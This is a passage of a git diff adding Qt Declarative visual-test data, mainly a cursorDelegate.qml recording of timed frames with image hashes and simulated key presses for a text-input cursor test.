+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10816
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10832
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10848
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10864
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10880
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10896
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10912
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10928
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10944
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10960
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10976
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 10992
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11008
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11024
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11040
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11056
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11072
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11088
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11104
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11120
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11136
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11152
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11168
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11184
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11200
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11216
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11232
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11248
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+ Frame {
+ msec: 11264
+ hash: "4e2cb8e4cedab8df2ff823e18b17e575"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml
new file mode 100644
index 00000000..81f1bcc6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/cursorDelegate.qml
@@ -0,0 +1,1551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 32
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 48
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 64
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 80
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 96
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 112
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 128
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 144
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 160
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 176
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 192
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 208
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 224
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 240
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 256
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 272
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 288
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 304
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 320
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 336
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 352
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 368
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 384
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 400
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 416
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 432
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Frame {
+ msec: 448
+ hash: "65bbc5da769f475d1c47bdedb92ba65e"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 464
+ hash: "97eff9733db71f7c5d396969582c572b"
+ }
+ Frame {
+ msec: 480
+ hash: "97eff9733db71f7c5d396969582c572b"
+ }
+ Frame {
+ msec: 496
+ hash: "97eff9733db71f7c5d396969582c572b"
+ }
+ Frame {
+ msec: 512
+ hash: "97eff9733db71f7c5d396969582c572b"
+ }
+ Frame {
+ msec: 528
+ hash: "87902d32dba1439e71ce5f57f514748e"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "cad95931a38718eb481a9175fdfec305"
+ }
+ Frame {
+ msec: 560
+ hash: "1dc99e5c7e4d2fa6b624b6df250b78fc"
+ }
+ Frame {
+ msec: 576
+ hash: "5d5739beb039a83bebb2c41489166edf"
+ }
+ Frame {
+ msec: 592
+ hash: "6320c9a1c0013f5aa6180992b934ca59"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 608
+ hash: "9d9837c1f3779e5dab0dfeb1d11fdea1"
+ }
+ Frame {
+ msec: 624
+ hash: "9d868112eaf70ce02ce93603278a565d"
+ }
+ Frame {
+ msec: 640
+ hash: "d2bccb3184d3bb42b91017410a8655b6"
+ }
+ Frame {
+ msec: 656
+ hash: "68f8be3e16637fd39a35f0cebb62b74a"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 672
+ hash: "04f5781b57ed9fee32d5ef80dc33f4ff"
+ }
+ Frame {
+ msec: 688
+ hash: "06cc2e24a848d441074de5ddff1c739a"
+ }
+ Frame {
+ msec: 704
+ hash: "94526186deb7248ac9c747ede15b106d"
+ }
+ Frame {
+ msec: 720
+ hash: "1ac130517df314f4f44b9bde2d3dcc53"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 736
+ hash: "270ecf4900e94d60599ded230633aa02"
+ }
+ Frame {
+ msec: 752
+ hash: "ef2093584cbce9182b99f297fcd2465d"
+ }
+ Frame {
+ msec: 768
+ hash: "c445cf5f56213a712585934681d8af55"
+ }
+ Frame {
+ msec: 784
+ hash: "9f0edb3871e015a549622e1b70d1b748"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "144c51d7aa47ea8cc8d79a97efa4b430"
+ }
+ Frame {
+ msec: 816
+ hash: "34f768a7c99dfb3c8f0e1fb1a08a37ac"
+ }
+ Frame {
+ msec: 832
+ hash: "4f3970c4ad02b69f96c11610494e8a50"
+ }
+ Frame {
+ msec: 848
+ hash: "815a1cf66f0c9eb47e244753eebb83ba"
+ }
+ Frame {
+ msec: 864
+ hash: "5db11f795c000b382fdc30726a711c65"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 880
+ hash: "67976ee172d0d55992c0e4734fbb7ccf"
+ }
+ Frame {
+ msec: 896
+ hash: "c764e4d5317acbbf5118a08565e5d5fd"
+ }
+ Frame {
+ msec: 912
+ hash: "a83f566d01b990e91f43bb63a58fb5b8"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 928
+ hash: "031282f352e01f23bc5f73bf8ce82c9a"
+ }
+ Frame {
+ msec: 944
+ hash: "1f3dc1d3ad0304376eac5d60d3c226ee"
+ }
+ Frame {
+ msec: 960
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 992
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 1024
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 1040
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1056
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 1072
+ hash: "a2ad07326fafcb3012cdb869f39af466"
+ }
+ Frame {
+ msec: 1088
+ hash: "8622eb25a6da44926b5161bce213a483"
+ }
+ Frame {
+ msec: 1104
+ hash: "ccbd4d1e4865ebd9b0fe923e6ab05e5c"
+ }
+ Frame {
+ msec: 1120
+ hash: "775cd79b012f79b773449a0ad8457149"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1136
+ hash: "2a4ed061e512c5afd11072c4b707f707"
+ }
+ Frame {
+ msec: 1152
+ hash: "c855df7b17811f25fd17e4fb108c02e1"
+ }
+ Frame {
+ msec: 1168
+ hash: "46c37d8e67ece5cae4f766acf50f3ca3"
+ }
+ Frame {
+ msec: 1184
+ hash: "95a70f14ce01aae61190080ed3d55c77"
+ }
+ Frame {
+ msec: 1200
+ hash: "87da182d1285f3613bb2e4673e701757"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1216
+ hash: "5b97f13f43e713a6fbe96bdca8969191"
+ }
+ Frame {
+ msec: 1232
+ hash: "4d003182e7b7b0a05413b80f82a0fc41"
+ }
+ Frame {
+ msec: 1248
+ hash: "dba09e038291a8dfdc61911d6b4b9bdf"
+ }
+ Frame {
+ msec: 1264
+ hash: "a2ae1e5cc6cd72fae70804e07df5a8a1"
+ }
+ Frame {
+ msec: 1280
+ hash: "f1c2a24b6f0ebcf98122e8db1cdcb66f"
+ }
+ Frame {
+ msec: 1296
+ hash: "142dade1639655132435ae260b7935a0"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "e80c0175d947bceef4bf53b60bf7eac0"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1328
+ hash: "de912cd8bd2fe762ec6b1ec819732507"
+ }
+ Frame {
+ msec: 1344
+ hash: "d3fa9dfab37ee26572d25bcbe8c66b72"
+ }
+ Frame {
+ msec: 1360
+ hash: "33bdb2817a2858ce430813d0774f0172"
+ }
+ Frame {
+ msec: 1376
+ hash: "4f10f0ffb6b1c87155eedd53af36c74f"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "1b94be0de8412bd9380689895f290af7"
+ }
+ Frame {
+ msec: 1408
+ hash: "48b3a5e2b04c86a75f4b6595eb2c1f55"
+ }
+ Frame {
+ msec: 1424
+ hash: "d092fabd3dd51c718486e1e7dadaa0dc"
+ }
+ Frame {
+ msec: 1440
+ hash: "243359437235563f1a60b8eaf63365b6"
+ }
+ Frame {
+ msec: 1456
+ hash: "a986c8ed8ad2d8b6aab2a001906ba2ad"
+ }
+ Frame {
+ msec: 1472
+ hash: "da5e06dc481e9cb7d9159a84d0cc150a"
+ }
+ Frame {
+ msec: 1488
+ hash: "1d70a05fce3a05477e21d22b127ae96a"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "913448213a07f6c8427c8e310d2026de"
+ }
+ Frame {
+ msec: 1520
+ hash: "51bef5ae52977a935b66af4baf1da4e6"
+ }
+ Frame {
+ msec: 1536
+ hash: "367bc25f868c23005d7fe903a9ea681b"
+ }
+ Frame {
+ msec: 1552
+ hash: "3c25181652e788d128ed571ca4fea0b1"
+ }
+ Frame {
+ msec: 1568
+ hash: "0218f939ff2b8c0bc22a537ed0f053f0"
+ }
+ Frame {
+ msec: 1584
+ hash: "a3b765a823b2b3811273a1be90850533"
+ }
+ Frame {
+ msec: 1600
+ hash: "2a42a29774eb4f962d299f8c2c213d55"
+ }
+ Frame {
+ msec: 1616
+ hash: "1f0ad54d0fe8fc27cadbaaeaa37364e0"
+ }
+ Frame {
+ msec: 1632
+ hash: "04d6028d1b1a1178e5bf774db8eef2c6"
+ }
+ Frame {
+ msec: 1648
+ hash: "c325e46e89e8df04e2c3d8bf111c5f09"
+ }
+ Frame {
+ msec: 1664
+ hash: "70e6223ce16a797e2c56e21ad74b188b"
+ }
+ Frame {
+ msec: 1680
+ hash: "0fb8762fd28564b84b83c17d749a3645"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1696
+ hash: "ef5d19b59792ea8822e2391fe0d91dbd"
+ }
+ Frame {
+ msec: 1712
+ hash: "70ad15030164be8afbb4ab22d1ae5f5f"
+ }
+ Frame {
+ msec: 1728
+ hash: "a5dfb8bd4b681e0d8d2c082821a2a976"
+ }
+ Frame {
+ msec: 1744
+ hash: "864781fbb8673b1e603df015f2d88601"
+ }
+ Frame {
+ msec: 1760
+ hash: "0bdb6a155cdd14f4dce9fde3c5116dde"
+ }
+ Frame {
+ msec: 1776
+ hash: "5421f521a9bdccc8478fcee97e0dbc99"
+ }
+ Frame {
+ msec: 1792
+ hash: "c5f29693dd017932767f37e2fb2f22f2"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1808
+ hash: "b5e8abeaec33407e673f8021212528b1"
+ }
+ Frame {
+ msec: 1824
+ hash: "917c968e5ee8f0b25fdb175719d7dbfa"
+ }
+ Frame {
+ msec: 1840
+ hash: "56495c63676b9f73004e76e38d60567e"
+ }
+ Frame {
+ msec: 1856
+ hash: "86f1ccdd7ff408c5b141d79797eea1fa"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1872
+ hash: "9e9b32a9f71ab1aa4e87ddc323ccda03"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "360aef37452ce8f045659c227285cb82"
+ }
+ Frame {
+ msec: 1904
+ hash: "805949377c620fa4310aa4328eba1f23"
+ }
+ Frame {
+ msec: 1920
+ image: "cursorDelegate.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "00df8110a2008ba77b7e0bf2130e5319"
+ }
+ Frame {
+ msec: 1952
+ hash: "835f6f723577071461e41da1fd2e990a"
+ }
+ Frame {
+ msec: 1968
+ hash: "6876cafa4d6d3a7d387602eba4d26db1"
+ }
+ Frame {
+ msec: 1984
+ hash: "5570ae1e700cdf42ba516be69fbaadc0"
+ }
+ Frame {
+ msec: 2000
+ hash: "5570ae1e700cdf42ba516be69fbaadc0"
+ }
+ Frame {
+ msec: 2016
+ hash: "5570ae1e700cdf42ba516be69fbaadc0"
+ }
+ Frame {
+ msec: 2032
+ hash: "5570ae1e700cdf42ba516be69fbaadc0"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2048
+ hash: "5570ae1e700cdf42ba516be69fbaadc0"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "6876cafa4d6d3a7d387602eba4d26db1"
+ }
+ Frame {
+ msec: 2080
+ hash: "835f6f723577071461e41da1fd2e990a"
+ }
+ Frame {
+ msec: 2096
+ hash: "00df8110a2008ba77b7e0bf2130e5319"
+ }
+ Frame {
+ msec: 2112
+ hash: "627206a252bd6fcbf57d9f1cde0506bb"
+ }
+ Frame {
+ msec: 2128
+ hash: "805949377c620fa4310aa4328eba1f23"
+ }
+ Frame {
+ msec: 2144
+ hash: "360aef37452ce8f045659c227285cb82"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "0ac33070e0c736bc0fb5ab12fa444b5c"
+ }
+ Frame {
+ msec: 2176
+ hash: "520a544fd92f17a14380803e253b396f"
+ }
+ Frame {
+ msec: 2192
+ hash: "4a080a5154c517e6bcf24b3a1f1d7f2c"
+ }
+ Frame {
+ msec: 2208
+ hash: "e83642b0793f5a790efca65ccf20a720"
+ }
+ Frame {
+ msec: 2224
+ hash: "8210b9cbf19f519ee34f4bb1a6afce16"
+ }
+ Frame {
+ msec: 2240
+ hash: "54d04e64af5c0a3d29f2dc8c0977ed3a"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2256
+ hash: "ae2a644f96bd7b2662ebcf4ebc33d930"
+ }
+ Frame {
+ msec: 2272
+ hash: "718ac9cb5ef2992b06b34e957f987b7a"
+ }
+ Frame {
+ msec: 2288
+ hash: "a2e1dea5e5f37697c7ce1a9419b94f65"
+ }
+ Frame {
+ msec: 2304
+ hash: "c0eb56c72311263d892ce65331547531"
+ }
+ Frame {
+ msec: 2320
+ hash: "585ad3efb7330de889b8cf56a51a0899"
+ }
+ Frame {
+ msec: 2336
+ hash: "236e54ae31e5ee3d08a7bc9aeaef0d9b"
+ }
+ Frame {
+ msec: 2352
+ hash: "d6218c8bb4da9d62bdb5d0cf5d7f8e37"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "1dddd18a4ef66df9d9b431b2860e24d1"
+ }
+ Frame {
+ msec: 2384
+ hash: "5b1b45e75f5a829b31c0b6eb0189da7c"
+ }
+ Frame {
+ msec: 2400
+ hash: "062091bc7a5f3296c669614318b80fe7"
+ }
+ Frame {
+ msec: 2416
+ hash: "836f37fe92a46233640e0bd2c0932fea"
+ }
+ Frame {
+ msec: 2432
+ hash: "f14ec1544a380fc9993b39754c23c2f4"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "2d549b5fea734e47682415df1717e6a6"
+ }
+ Frame {
+ msec: 2464
+ hash: "824c5960260dd3ed7527709ebfb06d27"
+ }
+ Frame {
+ msec: 2480
+ hash: "258f034fe1e71f25a92e667e05f53e82"
+ }
+ Frame {
+ msec: 2496
+ hash: "c432e758e19c44d788cb38df6e4c6d69"
+ }
+ Frame {
+ msec: 2512
+ hash: "a1856592208f9a00385b13c44e1c4503"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2528
+ hash: "2b4d40a0555df0b86f52d13790185459"
+ }
+ Frame {
+ msec: 2544
+ hash: "b153143e6b16c47fa06663dc6b1034d6"
+ }
+ Frame {
+ msec: 2560
+ hash: "ac52236c5d73aeae7c0834df1e6bd84e"
+ }
+ Frame {
+ msec: 2576
+ hash: "136eeb348b0b96edc9aaf9fbea741973"
+ }
+ Frame {
+ msec: 2592
+ hash: "4f8a1dfa8906de2bcdfbf5c3b29fbf9b"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "7dc9726df2d112b46f4d9dbe66d534c7"
+ }
+ Frame {
+ msec: 2624
+ hash: "f64086ca0e83fa8bb0fae28065260fdc"
+ }
+ Frame {
+ msec: 2640
+ hash: "5237dd2b79d71bbfa0a0d3963a7f42b7"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "8dd435b577bb258979d33034885a8cd8"
+ }
+ Frame {
+ msec: 2672
+ hash: "2609c066b8f102b4189991bf7d01eaad"
+ }
+ Frame {
+ msec: 2688
+ hash: "986fab22391264d04df9a55b18aee645"
+ }
+ Frame {
+ msec: 2704
+ hash: "0256423680aa0843fe8ec84f5e68fc9b"
+ }
+ Frame {
+ msec: 2720
+ hash: "b822bdcad69aa868f48b2bbf2d62e297"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2736
+ hash: "14effed70ca60233be9b2f6d0a1b5e6c"
+ }
+ Frame {
+ msec: 2752
+ hash: "1abaf2c36a0fb9f04606c0e191d113cf"
+ }
+ Frame {
+ msec: 2768
+ hash: "cffb8ca29b0369d183d6461bf9e63fdf"
+ }
+ Frame {
+ msec: 2784
+ hash: "9378bebddb09036bec98ff7018dcf7c1"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "0c3823994ee8f838c26040118ba62622"
+ }
+ Frame {
+ msec: 2816
+ hash: "d374547f47adc81a18428c7a79cb9cf2"
+ }
+ Frame {
+ msec: 2832
+ hash: "449c2996a2d0e74f2300adad619700bc"
+ }
+ Frame {
+ msec: 2848
+ hash: "14379a320b6fc36de5d2a6776f1dc963"
+ }
+ Frame {
+ msec: 2864
+ hash: "cb010a99ffa3b6df26c6cd263a21cfcd"
+ }
+ Frame {
+ msec: 2880
+ image: "cursorDelegate.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "a445d23288d462009916e31f370a2068"
+ }
+ Frame {
+ msec: 2912
+ hash: "8b3f2811300830e837797056f262bec2"
+ }
+ Frame {
+ msec: 2928
+ hash: "2303a27e72334cae84b4fe51a62974ba"
+ }
+ Frame {
+ msec: 2944
+ hash: "f3a9f3e74d2d83e38aee78cab7209bd6"
+ }
+ Frame {
+ msec: 2960
+ hash: "ca4777127a535655f057af57cf3e8c7b"
+ }
+ Frame {
+ msec: 2976
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 2992
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 3008
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 3024
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 3040
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 3056
+ hash: "de2b65920fa9177a79019f33712c2275"
+ }
+ Frame {
+ msec: 3072
+ hash: "ca4777127a535655f057af57cf3e8c7b"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3088
+ hash: "83cfb141f6b77fa062443a442a5b2e9e"
+ }
+ Frame {
+ msec: 3104
+ hash: "b3e262864238d03f988c9750cc74e48f"
+ }
+ Frame {
+ msec: 3120
+ hash: "6ed2086ae01be46f0684bbecc05484c4"
+ }
+ Frame {
+ msec: 3136
+ hash: "91f6dad8f05577af6e4f5f0aceb06b4b"
+ }
+ Frame {
+ msec: 3152
+ hash: "1bfb0c299c3c0db0518eaa54137c22b0"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3168
+ hash: "37cc96ef4b760faadf76cc471f6ba49a"
+ }
+ Frame {
+ msec: 3184
+ hash: "67c848bf93e845eaf5eebc9b8e57482c"
+ }
+ Frame {
+ msec: 3200
+ hash: "e3906ad9b1dfbd1170364c11ff4b286f"
+ }
+ Frame {
+ msec: 3216
+ hash: "24dd59673c5659e3bf6f52723e1bcd07"
+ }
+ Frame {
+ msec: 3232
+ hash: "4b694f05f147bcf901a16807d4e3ec7c"
+ }
+ Frame {
+ msec: 3248
+ hash: "9d9dbf34f6a67a49210caa249b8a1abb"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3264
+ hash: "5381cde4763aa45c97793124e42db6f5"
+ }
+ Frame {
+ msec: 3280
+ hash: "0f113c0263faa47428c4d16891ac4d4f"
+ }
+ Frame {
+ msec: 3296
+ hash: "cc1767ec13803959333cd35bfb2d9119"
+ }
+ Frame {
+ msec: 3312
+ hash: "ec1b4c71f9bd63ccf6d766b0b2f68b30"
+ }
+ Frame {
+ msec: 3328
+ hash: "114ad78597ede2afc4dd8bafa1d4df21"
+ }
+ Frame {
+ msec: 3344
+ hash: "d08dc22ddc707316483f09b796ea0380"
+ }
+ Frame {
+ msec: 3360
+ hash: "135b2b0f4e469b207e673d1e7086cd4f"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3376
+ hash: "4267354fe0d24597bdb5ee1a6e9affbb"
+ }
+ Frame {
+ msec: 3392
+ hash: "700bd56ecea646bbec2017007bbb5b84"
+ }
+ Frame {
+ msec: 3408
+ hash: "874a65c2069f4ba89301c129f884f217"
+ }
+ Frame {
+ msec: 3424
+ hash: "b5ec22f95abb43c83533f7dc606667f6"
+ }
+ Frame {
+ msec: 3440
+ hash: "445de6663e80d1fe1527ec5acf4ec1de"
+ }
+ Frame {
+ msec: 3456
+ hash: "87c129a5bf08536d3fca90375283e26b"
+ }
+ Frame {
+ msec: 3472
+ hash: "a63e2438a9cd412c2b119cd42b11009f"
+ }
+ Frame {
+ msec: 3488
+ hash: "61a3475bef5fd276b836cf3483526f57"
+ }
+ Frame {
+ msec: 3504
+ hash: "097ab9a1a1fe9743f162f57b93599fe7"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3520
+ hash: "ebae1fb540c6ff6b0bc9a951391e2e94"
+ }
+ Frame {
+ msec: 3536
+ hash: "ffc2da2e4c091eadaa9746b42b56d9e4"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3552
+ hash: "f243d823fc9977e69a008010d8db8a01"
+ }
+ Frame {
+ msec: 3568
+ hash: "592ac5bbf1c4b3a360be4d76c40a2be2"
+ }
+ Frame {
+ msec: 3584
+ hash: "bd5b206097f30dfce884a8c74856857d"
+ }
+ Frame {
+ msec: 3600
+ hash: "f14ec1544a380fc9993b39754c23c2f4"
+ }
+ Frame {
+ msec: 3616
+ hash: "836f37fe92a46233640e0bd2c0932fea"
